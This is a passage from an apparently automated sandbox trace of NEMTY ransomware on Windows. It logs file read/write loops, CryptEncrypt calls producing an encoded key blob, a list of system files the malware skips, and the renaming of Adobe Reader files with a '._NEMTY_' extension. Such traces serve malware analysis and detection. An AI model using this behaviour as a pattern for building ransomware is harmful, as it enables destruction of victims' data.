lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.520] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.520] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.520] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.520] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.530] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.530] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.530] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.530] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.539] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.539] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.539] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.539] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.549] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.549] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.549] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.549] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.558] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.558] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.558] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.558] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.567] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.567] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.567] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.567] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.577] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.577] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.577] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.577] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.586] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.586] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.586] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.586] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.596] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.596] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.596] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.596] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.602] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.602] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.602] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.602] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.608] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.608] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.608] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.608] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6349050, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0203.608] CloseHandle (hObject=0xffffffff) returned 0 [0203.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0203.608] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0203.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0203.608] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0203.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0203.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0203.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0203.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0203.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0203.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0203.608] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETen-B5-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\eten-b5-h"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETen-B5-H._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\eten-b5-h._nemty_kgobjgd_")) returned 0 [0203.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0203.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0203.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0203.609] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0203.609] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0203.609] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0203.609] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0203.609] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0203.609] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x466cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ETen-B5-UCS2", cAlternateFileName="ETEN-B~2")) returned 1 [0203.609] lstrcmpiW (lpString1="ETen-B5-UCS2", lpString2=".") returned 1 [0203.609] lstrcmpiW (lpString1="ETen-B5-UCS2", lpString2="..") returned 1 [0203.609] lstrcmpiW (lpString1="ETen-B5-UCS2", lpString2="...") returned 1 [0203.609] lstrcmpiW (lpString1="ETen-B5-UCS2", lpString2="windows") returned -1 [0203.609] lstrcmpiW (lpString1="ETen-B5-UCS2", lpString2="$RECYCLE.BIN") returned 1 [0203.609] lstrcmpiW (lpString1="ETen-B5-UCS2", lpString2="rsa") returned -1 [0203.609] lstrcmpiW (lpString1="ETen-B5-UCS2", lpString2="NTDETECT.COM") returned -1 [0203.609] lstrcmpiW (lpString1="ETen-B5-UCS2", lpString2="ntldr") returned -1 [0203.609] lstrcmpiW (lpString1="ETen-B5-UCS2", lpString2="MSDOS.SYS") returned -1 [0203.609] lstrcmpiW (lpString1="ETen-B5-UCS2", lpString2="IO.SYS") returned -1 [0203.609] lstrcmpiW (lpString1="ETen-B5-UCS2", lpString2="boot.ini") returned 1 [0203.609] lstrcmpiW (lpString1="ETen-B5-UCS2", lpString2="boot.ini") returned 1 [0203.609] lstrcmpiW (lpString1="ETen-B5-UCS2", lpString2="AUTOEXEC.BAT") returned 1 [0203.609] lstrcmpiW (lpString1="ETen-B5-UCS2", lpString2="ntuser.dat") returned -1 [0203.609] lstrcmpiW (lpString1="ETen-B5-UCS2", lpString2="desktop.ini") returned 1 [0203.609] lstrcmpiW (lpString1="ETen-B5-UCS2", lpString2="CONFIG.SYS") returned 1 [0203.609] lstrcmpiW (lpString1="ETen-B5-UCS2", lpString2="RECYCLER") returned -1 [0203.609] lstrcmpiW (lpString1="ETen-B5-UCS2", lpString2="BOOTSECT.BAK") returned 1 [0203.609] lstrcmpiW (lpString1="ETen-B5-UCS2", lpString2="bootmgr") returned 1 [0203.609] lstrcmpiW (lpString1="ETen-B5-UCS2", lpString2="programdata") returned -1 [0203.609] lstrcmpiW (lpString1="ETen-B5-UCS2", lpString2="appdata") returned 1 [0203.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0203.609] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ETen-B5-UCS2", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0203.609] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ETen-B5-UCS2", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ETen-B5-UCS2", lpUsedDefaultChar=0x0) returned 12 [0203.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0203.610] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ETen-B5-UCS2", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0203.610] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ETen-B5-UCS2", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ETen-B5-UCS2", lpUsedDefaultChar=0x0) returned 12 [0203.610] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0203.610] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0203.610] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0203.610] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ETen-B5-UCS2", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0203.610] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ETen-B5-UCS2", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ETen-B5-UCS2", lpUsedDefaultChar=0x0) returned 12 [0203.610] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0203.610] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0203.610] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ETen-B5-UCS2", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0203.610] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ETen-B5-UCS2", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ETen-B5-UCS2", lpUsedDefaultChar=0x0) returned 12 [0203.610] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0203.610] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0203.610] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0203.610] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0203.610] Sleep (dwMilliseconds=0x5) [0203.625] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2d044090, dwHighDateTime=0x1d561e8)) [0203.625] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2d044090, dwHighDateTime=0x1d561e8)) [0203.625] GetLastError () returned 0x5 [0203.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0203.625] GetLastError () returned 0x5 [0203.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0203.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0203.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0203.625] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0203.625] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0203.625] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0203.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0203.625] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="cmXiiqr7OdP6k9fdH1UN5tUZAGQ6vttofZ+LhEmSsTKEQ/T6Ec2mogPSl5PgIST6\r\nDVb+BWkKnVHDljdAXa3vTZz0rAxG4qcGx5UKJLLfTsomHFpFIpwrOBvYGp/4GQbt\r\nicZsBNtaLLGUx9IAj7XEgwkBoGakwy1HMwvlKPfJUFCaD9EKRlQrObe1TP7mw6mk\r\nVfCsbOgiksO7UPp1bek3JtNq+85EwJor+cGbrUQViyQmU9tQvviOnjAOq0nUpL2K\r\n150xXTlcWvA+k8Y3CBa4hCuIP/wGNh6YpcyTWym3VdNxOCdj2LM1Y2f8eFihoFYE\r\ndX0QcAAKnL3CA92AHfsLqw==\r\n", pcchString=0x653e91c) returned 1 [0203.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0203.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0203.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0203.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0203.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0203.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0203.625] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETen-B5-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\eten-b5-ucs2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0203.625] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0203.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0203.625] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.626] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.635] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.635] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.635] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.635] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.644] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.644] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.644] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.644] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.654] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.654] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.654] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.654] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.663] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.663] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.663] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.663] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.673] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.673] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.673] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff 